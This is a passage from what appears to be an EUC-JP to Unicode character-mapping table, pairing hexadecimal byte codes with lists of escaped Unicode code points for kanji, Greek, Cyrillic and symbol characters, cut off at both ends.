\u61C8\u61C3\u61C6\u61BA\u61CB\u7F79\u61CD\u61E6\u61E3\u61F6\u61FA\u61F4\u61FF\u61FD\u61FC\u61FE\u6200\u6208\u6209\u620D\u620C\u6214\u621B"],["d9a1","\u621E\u6221\u622A\u622E\u6230\u6232\u6233\u6241\u624E\u625E\u6263\u625B\u6260\u6268\u627C\u6282\u6289\u627E\u6292\u6293\u6296\u62D4\u6283\u6294\u62D7\u62D1\u62BB\u62CF\u62FF\u62C6\u64D4\u62C8\u62DC\u62CC\u62CA\u62C2\u62C7\u629B\u62C9\u630C\u62EE\u62F1\u6327\u6302\u6308\u62EF\u62F5\u6350\u633E\u634D\u641C\u634F\u6396\u638E\u6380\u63AB\u6376\u63A3\u638F\u6389\u639F\u63B5\u636B\u6369\u63BE\u63E9\u63C0\u63C6\u63E3\u63C9\u63D2\u63F6\u63C4\u6416\u6434\u6406\u6413\u6426\u6436\u651D\u6417\u6428\u640F\u6467\u646F\u6476\u644E\u652A\u6495\u6493\u64A5\u64A9\u6488\u64BC"],["daa1","\u64DA\u64D2\u64C5\u64C7\u64BB\u64D8\u64C2\u64F1\u64E7\u8209\u64E0\u64E1\u62AC\u64E3\u64EF\u652C\u64F6\u64F4\u64F2\u64FA\u6500\u64FD\u6518\u651C\u6505\u6524\u6523\u652B\u6534\u6535\u6537\u6536\u6538\u754B\u6548\u6556\u6555\u654D\u6558\u655E\u655D\u6572\u6578\u6582\u6583\u8B8A\u659B\u659F\u65AB\u65B7\u65C3\u65C6\u65C1\u65C4\u65CC\u65D2\u65DB\u65D9\u65E0\u65E1\u65F1\u6772\u660A\u6603\u65FB\u6773\u6635\u6636\u6634\u661C\u664F\u6644\u6649\u6641\u665E\u665D\u6664\u6667\u6668\u665F\u6662\u6670\u6683\u6688\u668E\u6689\u6684\u6698\u669D\u66C1\u66B9\u66C9\u66BE\u66BC"],["dba1","\u66C4\u66B8\u66D6\u66DA\u66E0\u663F\u66E6\u66E9\u66F0\u66F5\u66F7\u670F\u6716\u671E\u6726\u6727\u9738\u672E\u673F\u6736\u6741\u6738\u6737\u6746\u675E\u6760\u6759\u6763\u6764\u6789\u6770\u67A9\u677C\u676A\u678C\u678B\u67A6\u67A1\u6785\u67B7\u67EF\u67B4\u67EC\u67B3\u67E9\u67B8\u67E4\u67DE\u67DD\u67E2\u67EE\u67B9\u67CE\u67C6\u67E7\u6A9C\u681E\u6846\u6829\u6840\u684D\u6832\u684E\u68B3\u682B\u6859\u6863\u6877\u687F\u689F\u688F\u68AD\u6894\u689D\u689B\u6883\u6AAE\u68B9\u6874\u68B5\u68A0\u68BA\u690F\u688D\u687E\u6901\u68CA\u6908\u68D8\u6922\u6926\u68E1\u690C\u68CD"],["dca1","\u68D4\u68E7\u68D5\u6936\u6912\u6904\u68D7\u68E3\u6925\u68F9\u68E0\u68EF\u6928\u692A\u691A\u6923\u6921\u68C6\u6979\u6977\u695C\u6978\u696B\u6954\u697E\u696E\u6939\u6974\u693D\u6959\u6930\u6961\u695E\u695D\u6981\u696A\u69B2\u69AE\u69D0\u69BF\u69C1\u69D3\u69BE\u69CE\u5BE8\u69CA\u69DD\u69BB\u69C3\u69A7\u6A2E\u6991\u69A0\u699C\u6995\u69B4\u69DE\u69E8\u6A02\u6A1B\u69FF\u6B0A\u69F9\u69F2\u69E7\u6A05\u69B1\u6A1E\u69ED\u6A14\u69EB\u6A0A\u6A12\u6AC1\u6A23\u6A13\u6A44\u6A0C\u6A72\u6A36\u6A78\u6A47\u6A62\u6A59\u6A66\u6A48\u6A38\u6A22\u6A90\u6A8D\u6AA0\u6A84\u6AA2\u6AA3"],["dda1","\u6A97\u8617\u6ABB\u6AC3\u6AC2\u6AB8\u6AB3\u6AAC\u6ADE\u6AD1\u6ADF\u6AAA\u6ADA\u6AEA\u6AFB\u6B05\u8616\u6AFA\u6B12\u6B16\u9B31\u6B1F\u6B38\u6B37\u76DC\u6B39\u98EE\u6B47\u6B43\u6B49\u6B50\u6B59\u6B54\u6B5B\u6B5F\u6B61\u6B78\u6B79\u6B7F\u6B80\u6B84\u6B83\u6B8D\u6B98\u6B95\u6B9E\u6BA4\u6BAA\u6BAB\u6BAF\u6BB2\u6BB1\u6BB3\u6BB7\u6BBC\u6BC6\u6BCB\u6BD3\u6BDF\u6BEC\u6BEB\u6BF3\u6BEF\u9EBE\u6C08\u6C13\u6C14\u6C1B\u6C24\u6C23\u6C5E\u6C55\u6C62\u6C6A\u6C82\u6C8D\u6C9A\u6C81\u6C9B\u6C7E\u6C68\u6C73\u6C92\u6C90\u6CC4\u6CF1\u6CD3\u6CBD\u6CD7\u6CC5\u6CDD\u6CAE\u6CB1\u6CBE"],["dea1","\u6CBA\u6CDB\u6CEF\u6CD9\u6CEA\u6D1F\u884D\u6D36\u6D2B\u6D3D\u6D38\u6D19\u6D35\u6D33\u6D12\u6D0C\u6D63\u6D93\u6D64\u6D5A\u6D79\u6D59\u6D8E\u6D95\u6FE4\u6D85\u6DF9\u6E15\u6E0A\u6DB5\u6DC7\u6DE6\u6DB8\u6DC6\u6DEC\u6DDE\u6DCC\u6DE8\u6DD2\u6DC5\u6DFA\u6DD9\u6DE4\u6DD5\u6DEA\u6DEE\u6E2D\u6E6E\u6E2E\u6E19\u6E72\u6E5F\u6E3E\u6E23\u6E6B\u6E2B\u6E76\u6E4D\u6E1F\u6E43\u6E3A\u6E4E\u6E24\u6EFF\u6E1D\u6E38\u6E82\u6EAA\u6E98\u6EC9\u6EB7\u6ED3\u6EBD\u6EAF\u6EC4\u6EB2\u6ED4\u6ED5\u6E8F\u6EA5\u6EC2\u6E9F\u6F41\u6F11\u704C\u6EEC\u6EF8\u6EFE\u6F3F\u6EF2\u6F31\u6EEF\u6F32\u6ECC"],["dfa1","\u6F3E\u6F13\u6EF7\u6F86\u6F7A\u6F78\u6F81\u6F80\u6F6F\u6F5B\u6FF3\u6F6D\u6F82\u6F7C\u6F58\u6F8E\u6F91\u6FC2\u6F66\u6FB3\u6FA3\u6FA1\u6FA4\u6FB9\u6FC6\u6FAA\u6FDF\u6FD5\u6FEC\u6FD4\u6FD8\u6FF1\u6FEE\u6FDB\u7009\u700B\u6FFA\u7011\u7001\u700F\u6FFE\u701B\u701A\u6F74\u701D\u7018\u701F\u7030\u703E\u7032\u7051\u7063\u7099\u7092\u70AF\u70F1\u70AC\u70B8\u70B3\u70AE\u70DF\u70CB\u70DD\u70D9\u7109\u70FD\u711C\u7119\u7165\u7155\u7188\u7166\u7162\u714C\u7156\u716C\u718F\u71FB\u7184\u7195\u71A8\u71AC\u71D7\u71B9\u71BE\u71D2\u71C9\u71D4\u71CE\u71E0\u71EC\u71E7\u71F5\u71FC"],["e0a1","\u71F9\u71FF\u720D\u7210\u721B\u7228\u722D\u722C\u7230\u7232\u723B\u723C\u723F\u7240\u7246\u724B\u7258\u7274\u727E\u7282\u7281\u7287\u7292\u7296\u72A2\u72A7\u72B9\u72B2\u72C3\u72C6\u72C4\u72CE\u72D2\u72E2\u72E0\u72E1\u72F9\u72F7\u500F\u7317\u730A\u731C\u7316\u731D\u7334\u732F\u7329\u7325\u733E\u734E\u734F\u9ED8\u7357\u736A\u7368\u7370\u7378\u7375\u737B\u737A\u73C8\u73B3\u73CE\u73BB\u73C0\u73E5\u73EE\u73DE\u74A2\u7405\u746F\u7425\u73F8\u7432\u743A\u7455\u743F\u745F\u7459\u7441\u745C\u7469\u7470\u7463\u746A\u7476\u747E\u748B\u749E\u74A7\u74CA\u74CF\u74D4\u73F1"],["e1a1","\u74E0\u74E3\u74E7\u74E9\u74EE\u74F2\u74F0\u74F1\u74F8\u74F7\u7504\u7503\u7505\u750C\u750E\u750D\u7515\u7513\u751E\u7526\u752C\u753C\u7544\u754D\u754A\u7549\u755B\u7546\u755A\u7569\u7564\u7567\u756B\u756D\u7578\u7576\u7586\u7587\u7574\u758A\u7589\u7582\u7594\u759A\u759D\u75A5\u75A3\u75C2\u75B3\u75C3\u75B5\u75BD\u75B8\u75BC\u75B1\u75CD\u75CA\u75D2\u75D9\u75E3\u75DE\u75FE\u75FF\u75FC\u7601\u75F0\u75FA\u75F2\u75F3\u760B\u760D\u7609\u761F\u7627\u7620\u7621\u7622\u7624\u7634\u7630\u763B\u7647\u7648\u7646\u765C\u7658\u7661\u7662\u7668\u7669\u766A\u7667\u766C\u7670"],["e2a1","\u7672\u7676\u7678\u767C\u7680\u7683\u7688\u768B\u768E\u7696\u7693\u7699\u769A\u76B0\u76B4\u76B8\u76B9\u76BA\u76C2\u76CD\u76D6\u76D2\u76DE\u76E1\u76E5\u76E7\u76EA\u862F\u76FB\u7708\u7707\u7704\u7729\u7724\u771E\u7725\u7726\u771B\u7737\u7738\u7747\u775A\u7768\u776B\u775B\u7765\u777F\u777E\u7779\u778E\u778B\u7791\u77A0\u779E\u77B0\u77B6\u77B9\u77BF\u77BC\u77BD\u77BB\u77C7\u77CD\u77D7\u77DA\u77DC\u77E3\u77EE\u77FC\u780C\u7812\u7926\u7820\u792A\u7845\u788E\u7874\u7886\u787C\u789A\u788C\u78A3\u78B5\u78AA\u78AF\u78D1\u78C6\u78CB\u78D4\u78BE\u78BC\u78C5\u78CA\u78EC"],["e3a1","\u78E7\u78DA\u78FD\u78F4\u7907\u7912\u7911\u7919\u792C\u792B\u7940\u7960\u7957\u795F\u795A\u7955\u7953\u797A\u797F\u798A\u799D\u79A7\u9F4B\u79AA\u79AE\u79B3\u79B9\u79BA\u79C9\u79D5\u79E7\u79EC\u79E1\u79E3\u7A08\u7A0D\u7A18\u7A19\u7A20\u7A1F\u7980\u7A31\u7A3B\u7A3E\u7A37\u7A43\u7A57\u7A49\u7A61\u7A62\u7A69\u9F9D\u7A70\u7A79\u7A7D\u7A88\u7A97\u7A95\u7A98\u7A96\u7AA9\u7AC8\u7AB0\u7AB6\u7AC5\u7AC4\u7ABF\u9083\u7AC7\u7ACA\u7ACD\u7ACF\u7AD5\u7AD3\u7AD9\u7ADA\u7ADD\u7AE1\u7AE2\u7AE6\u7AED\u7AF0\u7B02\u7B0F\u7B0A\u7B06\u7B33\u7B18\u7B19\u7B1E\u7B35\u7B28\u7B36\u7B50"],["e4a1","\u7B7A\u7B04\u7B4D\u7B0B\u7B4C\u7B45\u7B75\u7B65\u7B74\u7B67\u7B70\u7B71\u7B6C\u7B6E\u7B9D\u7B98\u7B9F\u7B8D\u7B9C\u7B9A\u7B8B\u7B92\u7B8F\u7B5D\u7B99\u7BCB\u7BC1\u7BCC\u7BCF\u7BB4\u7BC6\u7BDD\u7BE9\u7C11\u7C14\u7BE6\u7BE5\u7C60\u7C00\u7C07\u7C13\u7BF3\u7BF7\u7C17\u7C0D\u7BF6\u7C23\u7C27\u7C2A\u7C1F\u7C37\u7C2B\u7C3D\u7C4C\u7C43\u7C54\u7C4F\u7C40\u7C50\u7C58\u7C5F\u7C64\u7C56\u7C65\u7C6C\u7C75\u7C83\u7C90\u7CA4\u7CAD\u7CA2\u7CAB\u7CA1\u7CA8\u7CB3\u7CB2\u7CB1\u7CAE\u7CB9\u7CBD\u7CC0\u7CC5\u7CC2\u7CD8\u7CD2\u7CDC\u7CE2\u9B3B\u7CEF\u7CF2\u7CF4\u7CF6\u7CFA\u7D06"],["e5a1","\u7D02\u7D1C\u7D15\u7D0A\u7D45\u7D4B\u7D2E\u7D32\u7D3F\u7D35\u7D46\u7D73\u7D56\u7D4E\u7D72\u7D68\u7D6E\u7D4F\u7D63\u7D93\u7D89\u7D5B\u7D8F\u7D7D\u7D9B\u7DBA\u7DAE\u7DA3\u7DB5\u7DC7\u7DBD\u7DAB\u7E3D\u7DA2\u7DAF\u7DDC\u7DB8\u7D9F\u7DB0\u7DD8\u7DDD\u7DE4\u7DDE\u7DFB\u7DF2\u7DE1\u7E05\u7E0A\u7E23\u7E21\u7E12\u7E31\u7E1F\u7E09\u7E0B\u7E22\u7E46\u7E66\u7E3B\u7E35\u7E39\u7E43\u7E37\u7E32\u7E3A\u7E67\u7E5D\u7E56\u7E5E\u7E59\u7E5A\u7E79\u7E6A\u7E69\u7E7C\u7E7B\u7E83\u7DD5\u7E7D\u8FAE\u7E7F\u7E88\u7E89\u7E8C\u7E92\u7E90\u7E93\u7E94\u7E96\u7E8E\u7E9B\u7E9C\u7F38\u7F3A"],["e6a1","\u7F45\u7F4C\u7F4D\u7F4E\u7F50\u7F51\u7F55\u7F54\u7F58\u7F5F\u7F60\u7F68\u7F69\u7F67\u7F78\u7F82\u7F86\u7F83\u7F88\u7F87\u7F8C\u7F94\u7F9E\u7F9D\u7F9A\u7FA3\u7FAF\u7FB2\u7FB9\u7FAE\u7FB6\u7FB8\u8B71\u7FC5\u7FC6\u7FCA\u7FD5\u7FD4\u7FE1\u7FE6\u7FE9\u7FF3\u7FF9\u98DC\u8006\u8004\u800B\u8012\u8018\u8019\u801C\u8021\u8028\u803F\u803B\u804A\u8046\u8052\u8058\u805A\u805F\u8062\u8068\u8073\u8072\u8070\u8076\u8079\u807D\u807F\u8084\u8086\u8085\u809B\u8093\u809A\u80AD\u5190\u80AC\u80DB\u80E5\u80D9\u80DD\u80C4\u80DA\u80D6\u8109\u80EF\u80F1\u811B\u8129\u8123\u812F\u814B"],["e7a1","\u968B\u8146\u813E\u8153\u8151\u80FC\u8171\u816E\u8165\u8166\u8174\u8183\u8188\u818A\u8180\u8182\u81A0\u8195\u81A4\u81A3\u815F\u8193\u81A9\u81B0\u81B5\u81BE\u81B8\u81BD\u81C0\u81C2\u81BA\u81C9\u81CD\u81D1\u81D9\u81D8\u81C8\u81DA\u81DF\u81E0\u81E7\u81FA\u81FB\u81FE\u8201\u8202\u8205\u8207\u820A\u820D\u8210\u8216\u8229\u822B\u8238\u8233\u8240\u8259\u8258\u825D\u825A\u825F\u8264\u8262\u8268\u826A\u826B\u822E\u8271\u8277\u8278\u827E\u828D\u8292\u82AB\u829F\u82BB\u82AC\u82E1\u82E3\u82DF\u82D2\u82F4\u82F3\u82FA\u8393\u8303\u82FB\u82F9\u82DE\u8306\u82DC\u8309\u82D9"],["e8a1","\u8335\u8334\u8316\u8332\u8331\u8340\u8339\u8350\u8345\u832F\u832B\u8317\u8318\u8385\u839A\u83AA\u839F\u83A2\u8396\u8323\u838E\u8387\u838A\u837C\u83B5\u8373\u8375\u83A0\u8389\u83A8\u83F4\u8413\u83EB\u83CE\u83FD\u8403\u83D8\u840B\u83C1\u83F7\u8407\u83E0\u83F2\u840D\u8422\u8420\u83BD\u8438\u8506\u83FB\u846D\u842A\u843C\u855A\u8484\u8477\u846B\u84AD\u846E\u8482\u8469\u8446\u842C\u846F\u8479\u8435\u84CA\u8462\u84B9\u84BF\u849F\u84D9\u84CD\u84BB\u84DA\u84D0\u84C1\u84C6\u84D6\u84A1\u8521\u84FF\u84F4\u8517\u8518\u852C\u851F\u8515\u8514\u84FC\u8540\u8563\u8558\u8548"],["e9a1","\u8541\u8602\u854B\u8555\u8580\u85A4\u8588\u8591\u858A\u85A8\u856D\u8594\u859B\u85EA\u8587\u859C\u8577\u857E\u8590\u85C9\u85BA\u85CF\u85B9\u85D0\u85D5\u85DD\u85E5\u85DC\u85F9\u860A\u8613\u860B\u85FE\u85FA\u8606\u8622\u861A\u8630\u863F\u864D\u4E55\u8654\u865F\u8667\u8671\u8693\u86A3\u86A9\u86AA\u868B\u868C\u86B6\u86AF\u86C4\u86C6\u86B0\u86C9\u8823\u86AB\u86D4\u86DE\u86E9\u86EC\u86DF\u86DB\u86EF\u8712\u8706\u8708\u8700\u8703\u86FB\u8711\u8709\u870D\u86F9\u870A\u8734\u873F\u8737\u873B\u8725\u8729\u871A\u8760\u875F\u8778\u874C\u874E\u8774\u8757\u8768\u876E\u8759"],["eaa1","\u8753\u8763\u876A\u8805\u87A2\u879F\u8782\u87AF\u87CB\u87BD\u87C0\u87D0\u96D6\u87AB\u87C4\u87B3\u87C7\u87C6\u87BB\u87EF\u87F2\u87E0\u880F\u880D\u87FE\u87F6\u87F7\u880E\u87D2\u8811\u8816\u8815\u8822\u8821\u8831\u8836\u8839\u8827\u883B\u8844\u8842\u8852\u8859\u885E\u8862\u886B\u8881\u887E\u889E\u8875\u887D\u88B5\u8872\u8882\u8897\u8892\u88AE\u8899\u88A2\u888D\u88A4\u88B0\u88BF\u88B1\u88C3\u88C4\u88D4\u88D8\u88D9\u88DD\u88F9\u8902\u88FC\u88F4\u88E8\u88F2\u8904\u890C\u890A\u8913\u8943\u891E\u8925\u892A\u892B\u8941\u8944\u893B\u8936\u8938\u894C\u891D\u8960\u895E"],["eba1","\u8966\u8964\u896D\u896A\u896F\u8974\u8977\u897E\u8983\u8988\u898A\u8993\u8998\u89A1\u89A9\u89A6\u89AC\u89AF\u89B2\u89BA\u89BD\u89BF\u89C0\u89DA\u89DC\u89DD\u89E7\u89F4\u89F8\u8A03\u8A16\u8A10\u8A0C\u8A1B\u8A1D\u8A25\u8A36\u8A41\u8A5B\u8A52\u8A46\u8A48\u8A7C\u8A6D\u8A6C\u8A62\u8A85\u8A82\u8A84\u8AA8\u8AA1\u8A91\u8AA5\u8AA6\u8A9A\u8AA3\u8AC4\u8ACD\u8AC2\u8ADA\u8AEB\u8AF3\u8AE7\u8AE4\u8AF1\u8B14\u8AE0\u8AE2\u8AF7\u8ADE\u8ADB\u8B0C\u8B07\u8B1A\u8AE1\u8B16\u8B10\u8B17\u8B20\u8B33\u97AB\u8B26\u8B2B\u8B3E\u8B28\u8B41\u8B4C\u8B4F\u8B4E\u8B49\u8B56\u8B5B\u8B5A\u8B6B"],["eca1","\u8B5F\u8B6C\u8B6F\u8B74\u8B7D\u8B80\u8B8C\u8B8E\u8B92\u8B93\u8B96\u8B99\u8B9A\u8C3A\u8C41\u8C3F\u8C48\u8C4C\u8C4E\u8C50\u8C55\u8C62\u8C6C\u8C78\u8C7A\u8C82\u8C89\u8C85\u8C8A\u8C8D\u8C8E\u8C94\u8C7C\u8C98\u621D\u8CAD\u8CAA\u8CBD\u8CB2\u8CB3\u8CAE\u8CB6\u8CC8\u8CC1\u8CE4\u8CE3\u8CDA\u8CFD\u8CFA\u8CFB\u8D04\u8D05\u8D0A\u8D07\u8D0F\u8D0D\u8D10\u9F4E\u8D13\u8CCD\u8D14\u8D16\u8D67\u8D6D\u8D71\u8D73\u8D81\u8D99\u8DC2\u8DBE\u8DBA\u8DCF\u8DDA\u8DD6\u8DCC\u8DDB\u8DCB\u8DEA\u8DEB\u8DDF\u8DE3\u8DFC\u8E08\u8E09\u8DFF\u8E1D\u8E1E\u8E10\u8E1F\u8E42\u8E35\u8E30\u8E34\u8E4A"],["eda1","\u8E47\u8E49\u8E4C\u8E50\u8E48\u8E59\u8E64\u8E60\u8E2A\u8E63\u8E55\u8E76\u8E72\u8E7C\u8E81\u8E87\u8E85\u8E84\u8E8B\u8E8A\u8E93\u8E91\u8E94\u8E99\u8EAA\u8EA1\u8EAC\u8EB0\u8EC6\u8EB1\u8EBE\u8EC5\u8EC8\u8ECB\u8EDB\u8EE3\u8EFC\u8EFB\u8EEB\u8EFE\u8F0A\u8F05\u8F15\u8F12\u8F19\u8F13\u8F1C\u8F1F\u8F1B\u8F0C\u8F26\u8F33\u8F3B\u8F39\u8F45\u8F42\u8F3E\u8F4C\u8F49\u8F46\u8F4E\u8F57\u8F5C\u8F62\u8F63\u8F64\u8F9C\u8F9F\u8FA3\u8FAD\u8FAF\u8FB7\u8FDA\u8FE5\u8FE2\u8FEA\u8FEF\u9087\u8FF4\u9005\u8FF9\u8FFA\u9011\u9015\u9021\u900D\u901E\u9016\u900B\u9027\u9036\u9035\u9039\u8FF8"],["eea1","\u904F\u9050\u9051\u9052\u900E\u9049\u903E\u9056\u9058\u905E\u9068\u906F\u9076\u96A8\u9072\u9082\u907D\u9081\u9080\u908A\u9089\u908F\u90A8\u90AF\u90B1\u90B5\u90E2\u90E4\u6248\u90DB\u9102\u9112\u9119\u9132\u9130\u914A\u9156\u9158\u9163\u9165\u9169\u9173\u9172\u918B\u9189\u9182\u91A2\u91AB\u91AF\u91AA\u91B5\u91B4\u91BA\u91C0\u91C1\u91C9\u91CB\u91D0\u91D6\u91DF\u91E1\u91DB\u91FC\u91F5\u91F6\u921E\u91FF\u9214\u922C\u9215\u9211\u925E\u9257\u9245\u9249\u9264\u9248\u9295\u923F\u924B\u9250\u929C\u9296\u9293\u929B\u925A\u92CF\u92B9\u92B7\u92E9\u930F\u92FA\u9344\u932E"],["efa1","\u9319\u9322\u931A\u9323\u933A\u9335\u933B\u935C\u9360\u937C\u936E\u9356\u93B0\u93AC\u93AD\u9394\u93B9\u93D6\u93D7\u93E8\u93E5\u93D8\u93C3\u93DD\u93D0\u93C8\u93E4\u941A\u9414\u9413\u9403\u9407\u9410\u9436\u942B\u9435\u9421\u943A\u9441\u9452\u9444\u945B\u9460\u9462\u945E\u946A\u9229\u9470\u9475\u9477\u947D\u945A\u947C\u947E\u9481\u947F\u9582\u9587\u958A\u9594\u9596\u9598\u9599\u95A0\u95A8\u95A7\u95AD\u95BC\u95BB\u95B9\u95BE\u95CA\u6FF6\u95C3\u95CD\u95CC\u95D5\u95D4\u95D6\u95DC\u95E1\u95E5\u95E2\u9621\u9628\u962E\u962F\u9642\u964C\u964F\u964B\u9677\u965C\u965E"],["f0a1","\u965D\u965F\u9666\u9672\u966C\u968D\u9698\u9695\u9697\u96AA\u96A7\u96B1\u96B2\u96B0\u96B4\u96B6\u96B8\u96B9\u96CE\u96CB\u96C9\u96CD\u894D\u96DC\u970D\u96D5\u96F9\u9704\u9706\u9708\u9713\u970E\u9711\u970F\u9716\u9719\u9724\u972A\u9730\u9739\u973D\u973E\u9744\u9746\u9748\u9742\u9749\u975C\u9760\u9764\u9766\u9768\u52D2\u976B\u9771\u9779\u9785\u977C\u9781\u977A\u9786\u978B\u978F\u9790\u979C\u97A8\u97A6\u97A3\u97B3\u97B4\u97C3\u97C6\u97C8\u97CB\u97DC\u97ED\u9F4F\u97F2\u7ADF\u97F6\u97F5\u980F\u980C\u9838\u9824\u9821\u9837\u983D\u9846\u984F\u984B\u986B\u986F\u9870"],["f1a1","\u9871\u9874\u9873\u98AA\u98AF\u98B1\u98B6\u98C4\u98C3\u98C6\u98E9\u98EB\u9903\u9909\u9912\u9914\u9918\u9921\u991D\u991E\u9924\u9920\u992C\u992E\u993D\u993E\u9942\u9949\u9945\u9950\u994B\u9951\u9952\u994C\u9955\u9997\u9998\u99A5\u99AD\u99AE\u99BC\u99DF\u99DB\u99DD\u99D8\u99D1\u99ED\u99EE\u99F1\u99F2\u99FB\u99F8\u9A01\u9A0F\u9A05\u99E2\u9A19\u9A2B\u9A37\u9A45\u9A42\u9A40\u9A43\u9A3E\u9A55\u9A4D\u9A5B\u9A57\u9A5F\u9A62\u9A65\u9A64\u9A69\u9A6B\u9A6A\u9AAD\u9AB0\u9ABC\u9AC0\u9ACF\u9AD1\u9AD3\u9AD4\u9ADE\u9ADF\u9AE2\u9AE3\u9AE6\u9AEF\u9AEB\u9AEE\u9AF4\u9AF1\u9AF7"],["f2a1","\u9AFB\u9B06\u9B18\u9B1A\u9B1F\u9B22\u9B23\u9B25\u9B27\u9B28\u9B29\u9B2A\u9B2E\u9B2F\u9B32\u9B44\u9B43\u9B4F\u9B4D\u9B4E\u9B51\u9B58\u9B74\u9B93\u9B83\u9B91\u9B96\u9B97\u9B9F\u9BA0\u9BA8\u9BB4\u9BC0\u9BCA\u9BB9\u9BC6\u9BCF\u9BD1\u9BD2\u9BE3\u9BE2\u9BE4\u9BD4\u9BE1\u9C3A\u9BF2\u9BF1\u9BF0\u9C15\u9C14\u9C09\u9C13\u9C0C\u9C06\u9C08\u9C12\u9C0A\u9C04\u9C2E\u9C1B\u9C25\u9C24\u9C21\u9C30\u9C47\u9C32\u9C46\u9C3E\u9C5A\u9C60\u9C67\u9C76\u9C78\u9CE7\u9CEC\u9CF0\u9D09\u9D08\u9CEB\u9D03\u9D06\u9D2A\u9D26\u9DAF\u9D23\u9D1F\u9D44\u9D15\u9D12\u9D41\u9D3F\u9D3E\u9D46\u9D48"],["f3a1","\u9D5D\u9D5E\u9D64\u9D51\u9D50\u9D59\u9D72\u9D89\u9D87\u9DAB\u9D6F\u9D7A\u9D9A\u9DA4\u9DA9\u9DB2\u9DC4\u9DC1\u9DBB\u9DB8\u9DBA\u9DC6\u9DCF\u9DC2\u9DD9\u9DD3\u9DF8\u9DE6\u9DED\u9DEF\u9DFD\u9E1A\u9E1B\u9E1E\u9E75\u9E79\u9E7D\u9E81\u9E88\u9E8B\u9E8C\u9E92\u9E95\u9E91\u9E9D\u9EA5\u9EA9\u9EB8\u9EAA\u9EAD\u9761\u9ECC\u9ECE\u9ECF\u9ED0\u9ED4\u9EDC\u9EDE\u9EDD\u9EE0\u9EE5\u9EE8\u9EEF\u9EF4\u9EF6\u9EF7\u9EF9\u9EFB\u9EFC\u9EFD\u9F07\u9F08\u76B7\u9F15\u9F21\u9F2C\u9F3E\u9F4A\u9F52\u9F54\u9F63\u9F5F\u9F60\u9F61\u9F66\u9F67\u9F6C\u9F6A\u9F77\u9F72\u9F76\u9F95\u9F9C\u9FA0"],["f4a1","\u582F\u69C7\u9059\u7464\u51DC\u7199"],["f9a1","\u7E8A\u891C\u9348\u9288\u84DC\u4FC9\u70BB\u6631\u68C8\u92F9\u66FB\u5F45\u4E28\u4EE1\u4EFC\u4F00\u4F03\u4F39\u4F56\u4F92\u4F8A\u4F9A\u4F94\u4FCD\u5040\u5022\u4FFF\u501E\u5046\u5070\u5042\u5094\u50F4\u50D8\u514A\u5164\u519D\u51BE\u51EC\u5215\u529C\u52A6\u52C0\u52DB\u5300\u5307\u5324\u5372\u5393\u53B2\u53DD\uFA0E\u549C\u548A\u54A9\u54FF\u5586\u5759\u5765\u57AC\u57C8\u57C7\uFA0F\uFA10\u589E\u58B2\u590B\u5953\u595B\u595D\u5963\u59A4\u59BA\u5B56\u5BC0\u752F\u5BD8\u5BEC\u5C1E\u5CA6\u5CBA\u5CF5\u5D27\u5D53\uFA11\u5D42\u5D6D\u5DB8\u5DB9\u5DD0\u5F21\u5F34\u5F67\u5FB7"],["faa1","\u5FDE\u605D\u6085\u608A\u60DE\u60D5\u6120\u60F2\u6111\u6137\u6130\u6198\u6213\u62A6\u63F5\u6460\u649D\u64CE\u654E\u6600\u6615\u663B\u6609\u662E\u661E\u6624\u6665\u6657\u6659\uFA12\u6673\u6699\u66A0\u66B2\u66BF\u66FA\u670E\uF929\u6766\u67BB\u6852\u67C0\u6801\u6844\u68CF\uFA13\u6968\uFA14\u6998\u69E2\u6A30\u6A6B\u6A46\u6A73\u6A7E\u6AE2\u6AE4\u6BD6\u6C3F\u6C5C\u6C86\u6C6F\u6CDA\u6D04\u6D87\u6D6F\u6D96\u6DAC\u6DCF\u6DF8\u6DF2\u6DFC\u6E39\u6E5C\u6E27\u6E3C\u6EBF\u6F88\u6FB5\u6FF5\u7005\u7007\u7028\u7085\u70AB\u710F\u7104\u715C\u7146\u7147\uFA15\u71C1\u71FE\u72B1"],["fba1","\u72BE\u7324\uFA16\u7377\u73BD\u73C9\u73D6\u73E3\u73D2\u7407\u73F5\u7426\u742A\u7429\u742E\u7462\u7489\u749F\u7501\u756F\u7682\u769C\u769E\u769B\u76A6\uFA17\u7746\u52AF\u7821\u784E\u7864\u787A\u7930\uFA18\uFA19\uFA1A\u7994\uFA1B\u799B\u7AD1\u7AE7\uFA1C\u7AEB\u7B9E\uFA1D\u7D48\u7D5C\u7DB7\u7DA0\u7DD6\u7E52\u7F47\u7FA1\uFA1E\u8301\u8362\u837F\u83C7\u83F6\u8448\u84B4\u8553\u8559\u856B\uFA1F\u85B0\uFA20\uFA21\u8807\u88F5\u8A12\u8A37\u8A79\u8AA7\u8ABE\u8ADF\uFA22\u8AF6\u8B53\u8B7F\u8CF0\u8CF4\u8D12\u8D76\uFA23\u8ECF\uFA24\uFA25\u9067\u90DE\uFA26\u9115\u9127\u91DA"],["fca1","\u91D7\u91DE\u91ED\u91EE\u91E4\u91E5\u9206\u9210\u920A\u923A\u9240\u923C\u924E\u9259\u9251\u9239\u9267\u92A7\u9277\u9278\u92E7\u92D7\u92D9\u92D0\uFA27\u92D5\u92E0\u92D3\u9325\u9321\u92FB\uFA28\u931E\u92FF\u931D\u9302\u9370\u9357\u93A4\u93C6\u93DE\u93F8\u9431\u9445\u9448\u9592\uF9DC\uFA29\u969D\u96AF\u9733\u973B\u9743\u974D\u974F\u9751\u9755\u9857\u9865\uFA2A\uFA2B\u9927\uFA2C\u999E\u9A4E\u9AD9\u9ADC\u9B75\u9B72\u9B8F\u9BB1\u9BBB\u9C00\u9D70\u9D6B\uFA2D\u9E19\u9ED1"],["fcf1","\u2170",9,"\uFFE2\uFFE4\uFF07\uFF02"],["8fa2af","\u02D8\u02C7\xB8\u02D9\u02DD\xAF\u02DB\u02DA\uFF5E\u0384\u0385"],["8fa2c2","\xA1\xA6\xBF"],["8fa2eb","\xBA\xAA\xA9\xAE\u2122\xA4\u2116"],["8fa6e1","\u0386\u0388\u0389\u038A\u03AA"],["8fa6e7","\u038C"],["8fa6e9","\u038E\u03AB"],["8fa6ec","\u038F"],["8fa6f1","\u03AC\u03AD\u03AE\u03AF\u03CA\u0390\u03CC\u03C2\u03CD\u03CB\u03B0\u03CE"],["8fa7c2","\u0402",10,"\u040E\u040F"],["8fa7f2","\u0452",10,"\u045E\u045F"],["8fa9a1","\xC6\u0110"],["8fa9a4","\u0126"],["8fa9a6","\u0132"],["8fa9a8","\u0141\u013F"],["8fa9ab","\u014A\xD8\u0152"],["8fa9af","\u0166\xDE"],["8fa9c1","\xE6\u0111\xF0\u0127\u0131\u0133\u0138\u0142\u0140\u0149\u014B\xF8\u0